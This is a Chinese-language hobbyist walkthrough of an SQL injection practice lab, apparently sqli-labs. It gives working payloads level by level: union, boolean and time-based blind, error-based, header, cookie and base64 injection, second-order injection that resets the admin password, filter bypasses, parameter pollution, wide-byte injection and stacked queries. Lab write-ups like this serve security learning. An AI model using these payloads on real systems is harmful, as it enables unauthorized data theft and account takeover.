sql注入靶场个人通关笔记,本人业余,出于爱好自学,如有错误,请多海涵 : )
根据提示输入?id=1,有数据返回,证明输入的数据进入了数据库查询;尝试拼接语句(’ ,” , )等等),判断是字符型还是数字型。 本关是字符型单引号闭合,且有sql语句错误回显
2 . 联合注入
2.1 爆列数,若超过列数会报错
payload:
`?id=1 ' order by 3 --+`
2.2 爆显示列
Payload:
`?id= -1' union select 1,2,3 --+`
2.3 爆数据库
Payload:
`?id=-1 ' union select 1,2,database() --+`
2.4 爆表
Payload:
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
2.5 爆字段名
Payload:
?id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_schema='security' and table_name="users" --+
2.6 爆字段内容
Payload:
?id=-1' union select 1,2, group_concat(username,'~',password) from users --+
完成 : )
输入” ,’ 都无法闭合,且报错回显从输入的 “ 或 ‘ 开始,猜测是数字型注入。步骤与level 1差不多
payload:
?id=1 and 1=1--+ 正常输出
?id=1 and 1=2--+ 无输出,确定是数字型注入
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,2,database()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
输入?id=1’ 显示该报错信息:’ 1’ ') LIMIT 0,1 高亮区域为我的输入,可看出闭合方式为(‘ id ’)
其余步骤同上
闭合方式为 (" id "),其余步骤同上
本关正确输入后只有单一回显,无法通过联合注入爆出信息
但还有sql语句报错信息,通过报错可知闭合方式为’ id ’
我们可以使用布尔盲注,通过length(),ascii(),substr()三个函数确定信息正误
length(str)函数:返回str长度
ascii(字符)函数:返回字符ascii十进制
substr(str,a,b)函数:str是要截取的字符串,a是截取的位置,b是截取的长度
Payload:
?id=1'and length((select database()))=8--+ 判断库名长度
?id=1'and ascii(substr((select database()),1,1))=115--+ 逐一判断库名各个字符
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+ 判断表名长度
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ 逐一判断表名各个字符
往下判断字段名字段内容也差不多,懒得写了
不过这种方法手工注入太费时间了,不太实际
跟level 5差不多,就闭合方式换成双引号
本关正确输入id后也是只有单一正确登录页面显示,但输入单引号尝试闭合时发现报错仅提示有sql错误,但没有具体错误信息;尝试双引号闭合,显示正确登录,可知不是双引号闭合;继续尝试单引号加括号 ’ ) 闭合,仍然错误,再尝试单引号加双括号 ’ ) )闭合后成功登录。则闭合方式为((’ id '))
然后同level 5一样布尔盲注即可
本关输入正确显示单一页面,输入错误没有报错提示;用单引号双引号括号试一下就知道和第五关一样单引号闭合,使用布尔盲注
这关无论输入啥界面都是一样的,所以不能用布尔盲注,但我们可以使用时间盲注试一下
时间盲注是指利用sleep() 函数让正确或错误输入的回显页面延迟,这样可以判断我们的输入是否正确
Payload:
?id=1 ' and if(1=1,sleep(2),1) --+ 用于判断闭合方式
?id=1' and if(length((select database()))=8,sleep(2),1)--+ 判断数据库长度
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+ 判断数据库名字
跟level 9几乎一样,就是闭合方式为双引号闭合,用时间盲注
这关变成了输入框登录,直接试试在Username框注入,发现可以欸;直接用最简单的单引号闭合,一次成功;但是–+不能用了,可以用#代替,直接把后面的password注释掉。试试联合查询,嘿,可以,后面的步骤跟前面一样一样的
Payload:
1 ' order by 2 # 这里跟前面不一样了,变成两列回显了
1 ' union select 1,database() # 爆数据库,结果如下图所示
这关用单引号闭合没反应,试试双引号,成功!后面步骤也是一样一样的
分别用单引号双引号试试就知道了,主要是报错提示还包括后面的password,直接把闭合方式告诉我们了。不信?上图!
还是说清楚,13关是单引号加括号闭合 (’ uname '),14关是双引号加括号闭合(" unmae ")
老规矩,后面步骤同上
这关没有报错欸。一开始用1 ’ #在username框注,一直显示登录不了,我还以为这关就这一个登录失败的界面呢。后面看了一下源码发现是我脑子抽了,根本没有1这个用户存在,username不匹配,肯定登录不了(前面有报错的做顺手了,忽然一下没转过弯来);所以我改用admin为用户名,成功登录。后面用布尔盲注就行
这关跟上一关一样也是没有报错提示,用单双引号括号组合试试,最后是 ”)闭合
这关和之前的关卡不太一样。用不同的闭合方式尝试在username中注入均失败后,我选择查看源码,不看不知道,它使用了一个check_input函数,函数的定义也在源码里,作用就是断了我们注入的路,看来没办法在username中下手了,只能接着往下看
果然天无绝人之路,虽然第一句的select语句没法用,但下面还有一句sql,我们还有机会,但是这是一句update语句,前面的联合注入盲注都不能用了,我们需要一种新方法
此时报错注入出现了
报错注入有很多函数选择,但我比较喜欢其中两个,分别是extractvalue()报错注入和updatexml()报错注入,这两个函数原本的用法是怎么用的我就不赘述了,主要是我也不会,我就讲讲怎么注入吧,大概原理就是当第二个参数不符合语法规则的时候报错并把我们的查询内容爆出来
extractvalue():extractvalue(1,concat(0x7e,(select database()),0x7e))
updatexml():updatexml(1,concat(0x7e,(select database()),0x7e),1)
格式就是这样,里面的查询内容换一换就行,还有要记住高亮这里一定要加
1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))# 爆表名
1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)))# 爆字段名
后面爆字段内容有点不一样。我用的是mysql数据库,如果按之前的格式写会报错,因为mysql不支持同时update和select同一张表(update的时候会锁表,无法select),所以我们需要利用子查询建立一张中间表。
大概的思路就是mysql先执行子查询,然后将子查询得到的结果作为一张临时表t,然后在这个临时表t中执行查询,得到数据再在原表update。这样就可以避免查询更新都在同一个表中了
1' and (extractvalue(1,concat(0x7e,(select password from (select password from users where username='admin')as t) ,0x7e)))# 爆字段内容
这关我真的是…服了我自己了…一开始我就打开了源码粗略的看了几眼,大概看见了是通关user_agent字段注入(因为uname和passwd都被check_input包起来了,没法注入),我连账号密码都没写就直接用bp拦截改写了。
就是利用这句sql,用报错注入,把后面的参数补全就好了,它就会把uagent显示出来;但是现实很骨感,我发现我用啥payload都没反应;我甚至以为是我的php版本有问题,还去换了个版本,结果还是不行。
最后我再看了一遍源码后才发现,这个语句是要前面那句sql执行完毕用户登录成功才执行insert那句的,所以我一直用的空账户,根本没有执行insert语句 : ( ,白忙活半天。其实只要利用之前几关查出来的用户信息登录就好了
![在这里插入图片描述](https://img-blog.csdnimg.cn/8ead545404544a98a19a157d0cc3d319.png#pic_center
所以后面就好办了,思路一样,简单看一下格式就好
1',1,extractvalue(1,concat(0x7e,(select database()),0x7e))) #
这关跟level 18 差不多,就是要抓包修改的参数变了一下,变成了referer字段
而且需要补的参数少一个
其他的跟level18 一样一样的
源码好长,好难看,先登录试试。
出现了好多信息,再回源码看看这些信息哪个可以用的;
看,漏洞出现了;再再让我们看看这个cookie哪来的
嘿,在这等着我呢
直接抓包然后改cookie把sql闭合就好了
a' union select 1,2,database() #
对了,还有一个小点,登陆的时候抓包是没有cookie字段的,要登陆成功之后刷新一下再抓包才会有
老规矩,先登陆上去看一眼
哟呵,cookie还编码了一下,让我去源码瞧瞧是什么编码
抓下包,很明显让我们用base64编码后的payload注入,直接上网找一个编码器就行
打个样,嘿嘿
a') union select 1,2,database() # 编码前
YScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSAj 编码后
跟level 21 百分之九十八相似,就是闭合方式换成了双引号
a "union select 1,2,database() # 原payload
YSAidW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpICMg 编码后
怎么又回去了,很怪;随便写个payload试试,发现# 和–+两个注释符都用不了,直接被过滤了,那我们只能换个方式,和后面的LIMIT 0,1 和谐共处
这个payload后面加多个 ’ 可以和那个被我们提前闭合的单引号的后半部分闭合(有点拗口)
?id=-1' union select 1,2,3 '
后面就好办了,按以前的方法注入就好了
下面两句payload是功能一样的,就是最后闭合有一点不同,都写出来记录一下
?id=-1 ' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
?id=-1 ' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security' '
这关感觉功能挺多的,看看源码,发现好多文件;实现的功能有登陆,注册,修改密码三个
但用户登陆成功后,可以修改密码;那我们是不是有可能可以修改别的用户的密码,比如admin
既然萌生出这样一个大胆的想法,那我们看看修改密码功能的源码;看这就有问题了,username是直接从session获得的,并没有经过转义,那如果我们注册一个可以闭合sql的用户名,那是不是就可以把update语句闭合了
再看看注册源码;这么一看,虽然用户名,密码都被转义了,但在数据写入数据库时,是按原数据(未转义数据)写入的;也就是说,我们可以在此处插入恶意数据,让这些数据保存在数据库内;而开发者默认数据库数据是安全的,会直接从数据库取出数据,我们就可以直接利用取出的恶意数据实现二次注入
现在思路已经很清晰了,我们想要修改admin的密码,那我们就可以注册一个叫admin’ #的用户,sql将这个用户名写入数据库;然后我们使用这个用户名登陆,再进行修改密码,这时候,我们发现,update语句格式已经成功的被我们修改了,变成了这样:
UPDATE users SET PASSWORD='$pass' where username='admin' #
这样一来,我们还顺便绕过了current_password的验证,不需要知道当前密码就可以直接修改成新密码
大功告成! :)
已经告诉我们了,or 和 and不能用,单引号闭合,联合注入就好了
也可以双写绕过
?id=-1 ' union select 1,2,database()--+
很怪,我一开始想的是url编码绕过,用回车%0a代替space,但是好像不是很起作用: (
只能用空格比较少的报错注入了,and和or用双写或者逻辑运算符&&和||代替就好了;还有是单引号闭合
1' ||(extractvalue(1,concat(0x7e,
(select (group_concat(table_name)) from (infoorrmation_schema.tables) where(table_schema='security')))))||'0
就是这括号给我整烦了老是不知道哪里少一半捣鼓老半天才搞好
这关没有报错回显,不能用报错注入了;而且闭合方式是 ');还不能用注释符,给我闭合的一愣一愣的
那就只能用时间盲注了,小小打个样
1 ') anandd (if(ascii(substr(database(),1,1)=115),sleep(2),1))|| ('
欸哟喂过滤这一长串的,看着让人心慌;先别担心,仔细一瞧,这个select过滤的未免有点草率,就把这么四种大小写组合拉近黑名单,还留了好多手给我们。那我们不妨直接用level 26的payload,改一改select的大小写组合,还有那个information的双写不用了,直接过关
有回显,那我们用联合注入就好了,union select可以双写绕过,用%0a代替空格
?id=0') union%0aunion%0a select select %0a1,2,group_concat(table_name)%0a from %0ainformation_schema.tables%0awhere %0atable_schema='security' ||('
怎么还回去了,就过滤了个union select
首先,让我们了解一下http参数污染(HPP)
浏览器与服务器进行交互时,浏览器提交 GET/POST 请求参数,这些参数会以 “名称-值对” 的形式出现。在 HTTP 协议中是允许同样名称的参数多次出现。
但是不同的服务器处理方式存在差异,例如apache服务器会获取最后一个参数,而tomcat获取第一个参数,这就导致我们可以利用传多位参数实现注入
而这里的level29 则是通过函数模拟了tomcat和apache双服务器环境:客户端先直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据;
这里$$qs = S E R V E R [ ′ Q U E R Y S T R I N G ′ ] (模拟 t o m c a t 获取第一个参数)对获得的参数进行了安全检查,但 _SERVER['QUERY_STRING'](模拟tomcat获取第一个参数)对获得的参数进行了安全检查,但 SERVER[′QUERYSTRING′](模拟tomcat获取第一个参数)对获得的参数进行了安全检查,但id(模拟apache获取最后一个参数)并没有;
所以我们可以传入两个id,在第二个id处注入
$_SERVER[‘QUERY_STRING’] — 查询(query)的字符串(URL 中第一个问号 ? 之后的内容)
?id=1&id=-1' union select 1,2,database() --+
把level 29闭合方式为双引号就好了
?id=1&id=-1” union select 1,2,database() --+
把level 29闭合方式为双引号加括号就好了
?id=1&id=-1” )union select 1,2,database() --+
转义了反斜杠,单引号,双引号
完了,难道没法闭合sql了?
别慌,看上面,数据库使用了gbk编码,我们可以在这下手,使用宽字节注入;大概原理就是php使用的是UTF8编码,但数据库使用的是gbk编码,就是宽字节编码。在数据库中,两个连在一起的字符会当成一个汉字(当前面字符的ascii编码大于128时就行),但在php中,还是当成两个字符;
这几个函数都可能利用到宽字节注入:
addslashes()
mysql_real_escape_string()
mysql_escape_string()
既然转义操作就是在单引号双引号啥的前面加一个 \ ,那我们就可通过在我们需要的单引号前面加一个ascii大于128的字符,让数据库以为这个字符和后面的 \ 组合成一个汉字,那我们的单引号就被释放出来了
我看网上都用的%df,虽然不知道为啥,但我不管,我也用 : )
?id=-1 %df' union select 1,2,database() --+
这玩意跟level32一模一样的
这关是post提交,用bp抓包修改,payload和level33一样就行
这关是数值型注入,问题就是后面爆字段名的时候,那里需要引号闭合,但不能使用之前的宽字节,不然我们注入的字符也会被当成是表名的一部分;但我们可以使用16进制编码绕过
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名
这不正好,这个函数,而且也是gbk编码,那就继续宽字节注入了
跟level 32一样的payload
这关是post提交,其他一样,没什么好说的
这关乍一看非常简单,实际上确实这么简单,甚至直接用level 1的payload都行;
但是,我们不能这么浅薄是吧 : )
看,这里有一个新函数,这个函数能同时执行多条sql语句;也就是说,我们可以直接执行除了查询以外的语句了
那就插入本人的用户信息打个样吧
?id=1';insert into users(id,username,password) values ('88','chuan','1234')--+
成功~~
跟level 38一样,就是换成了数字型注入
跟level 38一样,就是闭合方式换成了’)
?id=1');update users set password='0000' where username='chuan';--+
跟level 38一样,就是没报错
还是堆叠注入,不过换成post提交,而且username被转义了,那我们从password入手
login_user=admin&login_password=0';insert into users(id,username,password) values ('42','chuan1','1234')--+&mysubmit=Login
改一下level42 闭合方式就行
分别跟level 42,43一样,就是没有报错
咦,order by ? 那我们不能用union了。但是天无绝人之路,还有报错,那我们可以用报错注入
?sort=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)
多个单引号闭合,一样的
跟level 46差不多,但是没有报错,所以不能用报错注入了,那我们考虑一下时间盲注
?sort=1 and if(ascii (substr((select database()),1,1)=115),sleep(0.2),1)
多个单引号闭合,跟level48 一样
这关好像是前几关生的孩子,
既可以堆叠注入,也可以报错注入,也可以时间盲注
比level 50多了个单引号闭合
整数型注入,没有报错回显,只能堆叠或者时间盲注·
单引号闭合,没有报错回显,只能用堆叠或者时间盲注
从这关开始变成了一个类似游戏的界面,需要我们在十次机会内爆出密码,然后submit;
每次游戏开始都会重置一个随机的表名,列名;要是没有在十次payload的提交后得出密码,表名列名都会变化,又要全部推倒重来;
下面的payload中,那些表名列名都是随机的,要自己根据爆出来的信息修改
?id=-1'union select 1,database(),3 --+
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='zb4sroi3b0' --+
?id=-1'union select 1,2,group_concat(secret_57W0) from zb4sroi3b0 --+
复制粘贴到下面框框里面提交就好
成了!恭喜~~
这关变成了单一个括号闭合,而且有14次机会,但是没啥用,不需要这么多
?id=-1 )union select 1,database(),3 --+
单引号加括号闭合,没啥好说的
双引号闭合
不是,这个,啊?
select半天,结果信息是从数组中拿出来的
那就没法通过联合注入爆密码了,还有报错回显,那我们就报错注入
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1)--+
整数型
双引号加括号闭合
单引号加两个括号,真的是为了出题而出题
没有报错回显了,只能盲注了,时间布尔都行;单引号加括号闭合
?id=1') and if(ascii(substr((select database()),1,1))=99,sleep(2),1)--+ 时间盲注
?id=1' and if(ascii(substr((select database()),1,1))=99,sleep(2),1)--+
换闭合方式,俩括号
换闭合方式,双引号加括号
到这,我们就完美通关了,恭喜各位 : )